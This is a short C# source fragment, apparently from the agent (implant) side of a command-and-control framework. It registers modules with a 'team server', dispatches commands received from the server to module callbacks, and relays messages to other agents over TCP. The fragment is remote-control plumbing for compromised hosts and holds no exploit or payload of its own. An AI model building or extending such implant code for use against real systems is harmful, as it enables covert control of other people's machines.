public void RegisterAgentModule(IAgentModule module) { var info = module.GetModuleInfo(); AgentModules.Add(info); module.Init(this, Config); if (info.NotifyTeamServer) { SendData(new AgentMessage { IdempotencyKey = Guid.NewGuid().ToString(), Metadata = Config.GetOption(ConfigSetting.Metadata) as AgentMetadata, Data = new C2Data { Module = "Core", Command = "RegisterAgentModule", Data = Serialisation.SerialiseData(info) } }); } }
private void HandleC2Data(AgentMessage message) { if (IdempotencyKeys.Contains(message.IdempotencyKey)) { SendError("Duplicate IdempotencyKey."); return; } else { IdempotencyKeys.Add(message.IdempotencyKey); } if (string.IsNullOrEmpty(message.Data.AgentID) || message.Data.AgentID == (Config.GetOption(ConfigSetting.Metadata) as AgentMetadata).AgentID) // message is for this agent { if (!string.IsNullOrEmpty(message.Data.Module)) { try { var callBack = AgentModules .Where(m => m.Name.Equals(message.Data.Module, StringComparison.OrdinalIgnoreCase)) .Select(m => m.Commands).FirstOrDefault() .Where(c => c.Name.Equals(message.Data.Command, StringComparison.OrdinalIgnoreCase)) .Select(c => c.CallBack).FirstOrDefault(); callBack?.Invoke(message.Data.Data); } catch (Exception e) { SendError(e.Message); } } } else // message is for another agent { foreach (var tcpClient in TcpClients) // how lazy is this!!!! { tcpClient.SendData(message); } } }